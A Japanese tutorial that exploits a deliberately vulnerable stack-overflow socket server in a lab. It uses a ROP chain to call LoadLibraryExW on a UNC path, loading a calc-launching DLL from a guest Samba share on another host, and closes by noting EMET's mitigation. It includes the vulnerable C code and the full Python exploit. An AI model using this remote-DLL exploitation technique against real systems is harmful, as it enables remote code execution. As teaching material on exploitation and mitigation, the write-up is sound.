WindowsでUNC LoadLibraryによる任意コード実行をやってみる

LoadLibrary関数は実行時にDLLをロードする関数であるが、引数にUNCパスを与えることにより、SMBプロトコルWindowsファイル共有)を介してリモートホストにあるDLLをロードできることが知られている。 また、DLLはロード時にDLLMain関数が自動的に呼び出されるようになっている。 すなわち、LoadLibrary関数の呼び出しによりネットワークを介して任意のコードを実行させることが可能である。

ここでは、スタックバッファオーバーフロー脆弱性からLoadLibrary関数を呼び出し、リモートホストにあるDLLをロードすることで電卓を起動してみる。

環境

Windows 8.1 Pro 64 bit版、Visual Studio Community 2013 with Update 4、msvcr71.dllインストール済

>systeminfo
OS 名:                  Microsoft Windows 8.1 Pro
OS バージョン:          6.3.9600 N/A ビルド 9600
OS ビルドの種類:        Multiprocessor Free
システムの種類:         x64-based PC
プロセッサ:             1 プロセッサインストール済みです。
                        [01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~758 Mhz

>cl
Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86

>powershell -c "(dir C:\Windows\SysWOW64\msvcr71.dll).VersionInfo.FileVersion"
7.10.3052.4

Kali Linux 1.1.0a 64 bit版、Metasploit Framework 4.11.3

root@vm-kali64:~# uname -a
Linux vm-kali64 3.18.0-kali3-amd64 #1 SMP Debian 3.18.6-1~kali2 (2015-03-02) x86_64 GNU/Linux

root@vm-kali64:~# lsb_release -a
No LSB modules are available.
Distributor ID: Kali
Description:    Kali GNU/Linux 1.1.0
Release:        1.1.0
Codename:       moto

root@vm-kali64:~# msfconsole -v
Framework Version: 4.11.3-2015063001

電卓を起動するDLLを書いてみる

まず、ロード時に電卓を起動するDLLを作ってみる。 プログラムコードを書くと次のようになる。

/* execcalc.c */
#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    switch (fdwReason) {
      case DLL_PROCESS_ATTACH:
        WinExec("calc", SW_SHOWNORMAL);
        ExitProcess(0);
        break;
    }
    return TRUE;
}

LoadLibrary経由でロードされたときは引数のfdwReasonDLL_PROCESS_ATTACHが渡されるため、上のコードではこの場合に電卓を起動するようにしている。

上のコードをコンパイルしてDLLを作成する。 DLLを作成するには、コンパイルオプションとして/LDを与えればよい。

>cl /LD execcalc.c
Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86
Copyright (C) Microsoft Corporation.  All rights reserved.

execcalc.c
Microsoft (R) Incremental Linker Version 12.00.31101.0
Copyright (C) Microsoft Corporation.  All rights reserved.

/out:execcalc.dll
/dll
/implib:execcalc.lib
execcalc.obj

execcalc.dllが作成されていることが確認できたら、次にこのDLLをロードするプログラムコードを書いてみる。

/* test.c */
#include <windows.h>

int main()
{
    LoadLibrary("execcalc");
    puts("[!] process not exited in DLL");
    ExitProcess(0);
}

コンパイルして実行してみる。

>cl test.c
>test.exe

電卓が起動した後、puts関数が実行される前にプロセスが終了することが確認できる。

リモートホストにあるDLLをロードしてみる

リモートホストにあるDLLのロードを確認するため、ここではKali Linux上のSambaを利用することとする。

まず、/etc/samba/smb.confに次の内容を追記し、共有フォルダ名shareとして/tmp/shareがパスワード不要で共有されるようにする。

[share]
   path = /tmp/share
   read only = no
   guest ok = yes

/tmp/shareパーミッション777で作成し、Sambaを起動する。

root@vm-kali64:~# mkdir /tmp/share
root@vm-kali64:~# chmod 777 /tmp/share
root@vm-kali64:~# service samba status
nmbd is not running ... failed!
smbd is not running ... failed!
root@vm-kali64:~# service samba start
Starting Samba daemons: nmbd smbd.
root@vm-kali64:~# netstat -antp
稼働中のインターネット接続 (サーバと確立)
Proto 受信-Q 送信-Q 内部アドレス            外部アドレス            状態        PID/Program name
tcp        0      0 0.0.0.0:445             0.0.0.0:*               LISTEN      4423/smbd
tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN      4423/smbd
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      2549/sshd
tcp        0      0 127.0.0.1:6010          0.0.0.0:*               LISTEN      2665/0
tcp6       0      0 :::445                  :::*                    LISTEN      4423/smbd
tcp6       0      0 :::139                  :::*                    LISTEN      4423/smbd
tcp6       0      0 :::22                   :::*                    LISTEN      2549/sshd
tcp6       0      0 ::1:6010                :::*                    LISTEN      2665/0

上の結果より、smbdがtcp/139、tcp/445で待ち受けていることが確認できる。 この状態でWindows上のエクスプローラから\\<ip address>\shareを開くとアクセス可能となっているので、作成したexeccalc.dllをコピーしておく。 この形式のパス表記はWindowsファイル共有において他のマシンの共有フォルダを表す際に用いられ、UNC(Uniform Naming Convention)と呼ばれる。

次に、LoadLibrary関数にUNCパスを指定したプログラムコードを書いてみる。

/* test2.c */
#include <windows.h>

int main()
{
    LoadLibrary("\\\\192.168.56.4\\share\\execcalc");
    puts("[!] process not exited in DLL");
    ExitProcess(0);
}

文字列中では\をエスケープする必要があることに注意する。

コンパイルして実行すると、電卓が起動することが確認できる。

>cl test2.c
>test2.exe

Kali Linux側で事前にパケットキャプチャしておき内容を確認すると、WindowsからKali Linuxtcp/445に向かう通信が発生していることがわかる。 ここではその手順は省略するが、発生する通信の詳細を示すと次のようになる。

root@vm-kali64:~# tshark -r dump.pcap 'smb2'
  4   0.000768 192.168.56.1 -> 192.168.56.4 SMB2 166 Negotiate Protocol Request
  6   0.003539 192.168.56.4 -> 192.168.56.1 SMB2 260 Negotiate Protocol Response
  7   0.004282 192.168.56.1 -> 192.168.56.4 SMB2 220 Session Setup Request, NTLMSSP_NEGOTIATE
  8   0.004920 192.168.56.4 -> 192.168.56.1 SMB2 309 Session Setup Response, Error: STATUS_MORE_PROCESSING_REQUIRED, NTLMSSP_CHALLENGE
  9   0.005497 192.168.56.1 -> 192.168.56.4 SMB2 578 Session Setup Request, NTLMSSP_AUTH, User: target-win8\user
 10   0.006338 192.168.56.4 -> 192.168.56.1 SMB2 139 Session Setup Response
 11   0.006890 192.168.56.1 -> 192.168.56.4 SMB2 170 Tree Connect Request Tree: \\192.168.56.4\share
 12   0.007374 192.168.56.4 -> 192.168.56.1 SMB2 138 Tree Connect Response
 13   0.007858 192.168.56.1 -> 192.168.56.4 SMB2 250 Create Request File: execcalc.DLL
 14   0.008935 192.168.56.4 -> 192.168.56.1 SMB2 298 Create Response File: execcalc.DLL
 15   0.009500 192.168.56.1 -> 192.168.56.4 SMB2 146 Close Request File: execcalc.DLL
 16   0.009685 192.168.56.4 -> 192.168.56.1 SMB2 182 Close Response
 17   0.010307 192.168.56.1 -> 192.168.56.4 SMB2 306 Create Request File: execcalc.DLL
 18   0.010904 192.168.56.4 -> 192.168.56.1 SMB2 298 Create Response File: execcalc.DLL
 19   0.011782 192.168.56.1 -> 192.168.56.4 SMB2 171 Read Request Len:32768 Off:0 File: execcalc.DLL
 30   0.012645 192.168.56.4 -> 192.168.56.1 SMB2 786 Read Response
 35   0.013210 192.168.56.1 -> 192.168.56.4 SMB2 171 Read Request Len:31744 Off:36864 File: execcalc.DLL
 40   0.013511 192.168.56.4 -> 192.168.56.1 SMB2 7062 Read Response
 49   0.017476 192.168.56.1 -> 192.168.56.4 SMB2 171 Read Request Len:4096 Off:32768 File: execcalc.DLL
 50   0.017607 192.168.56.4 -> 192.168.56.1 SMB2 4234 Read Response

Windowsからのリクエストにより、execcalc.DLLが転送されていることが確認できる。

脆弱性のあるプログラムを書いてみる

脆弱性のあるプログラムは、「Windowsでnon-ASLR DLLを利用したROPによるDEP回避をやってみる」と同じものを用いることにする。

/* bof.c */
#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")

void bof(SOCKET c)
{
    char buf[400];
    printf("[+] buf = %p\n", buf);
    recv(c, buf, 1024, 0);
}

int main()
{
    WSADATA wsaData;
    SOCKET s, c;
    SOCKADDR_IN name;
    BOOL yes = 1;

    WSAStartup(MAKEWORD(2, 2), &wsaData);

    s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);
    setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (const char *)&yes, sizeof(yes));

    name.sin_family = AF_INET;
    name.sin_addr.s_addr = INADDR_ANY;
    name.sin_port = htons(4444);

    bind(s, (SOCKADDR *)&name, sizeof(name));
    listen(s, 5);
    puts("[+] listening on 0.0.0.0 port 4444");

    c = accept(s, NULL, NULL);
    closesocket(s);
    puts("[+] connection accepted");

    bof(c);

    closesocket(c);

    ExitProcess(0);
}

コンパイルし、実行ファイルを生成する。

>cl bof.c /GS- /link /dynamicbase:no

エクスプロイトコードを書いてみる

「Windowsでnon-ASLR DLLを利用したROPによるDEP回避をやってみる」と同様の手順で、ROPによりLoadLibrary関数を呼び出すエクスプロイトコードを書くと次のようになる。

# exploit.py
import socket
import struct

addr_buf = 0x0018FBF0
addr_pop_ecx = 0x004011e2        # 0x004011e2: pop ecx ; ret  ;  (30 found)
addr_jmp_ptr_ecx = 0x004056c1    # 0x004056c1: jmp dword [ecx] ;  (2 found)
iat_loadlibraryexw = 0x0040d0cc  # 0040d0cc  767ca720 KERNEL32!LoadLibraryExWStub
bufsize = 400

def wchar(s):
    return ''.join(c+'\x00' for c in s)

buf = wchar('\\\\192.168.56.4\\share\\execcalc\x00')
buf += 'A' * (bufsize-len(buf))
buf += 'AAAA'                                 # saved ebp
buf += struct.pack('<I', addr_pop_ecx)        # retaddr
buf += struct.pack('<I', iat_loadlibraryexw)
buf += struct.pack('<I', addr_jmp_ptr_ecx)    # jump to LoadLibraryExW()
buf += 'AAAA'
buf += struct.pack('<I', addr_buf)            # lpFileName
buf += struct.pack('<I', 0)                   # hFile
buf += struct.pack('<I', 0)                   # dwFlags

c = socket.create_connection(('127.0.0.1', 4444))
c.sendall(buf)
c.close()

プログラムを起動し、エクスプロイトコードを実行してみる。

>bof.exe
[+] listening on 0.0.0.0 port 4444
$ python exploit.py

リモートホストに置かれたDLLがロードされ、電卓が起動することが確認できる。

EMET LoadLib

Microsoftが提供する脆弱性緩和ツールEMET(Enhanced Mitigation Experience Toolkit)では、「Load Library Check(LoadLib)」としてこの手法に対する防御手法が実装されている。 LoadLibは、引数がUNCパスとなっているLoadLibrary関数の呼び出しを禁止するというものである。

関連リンク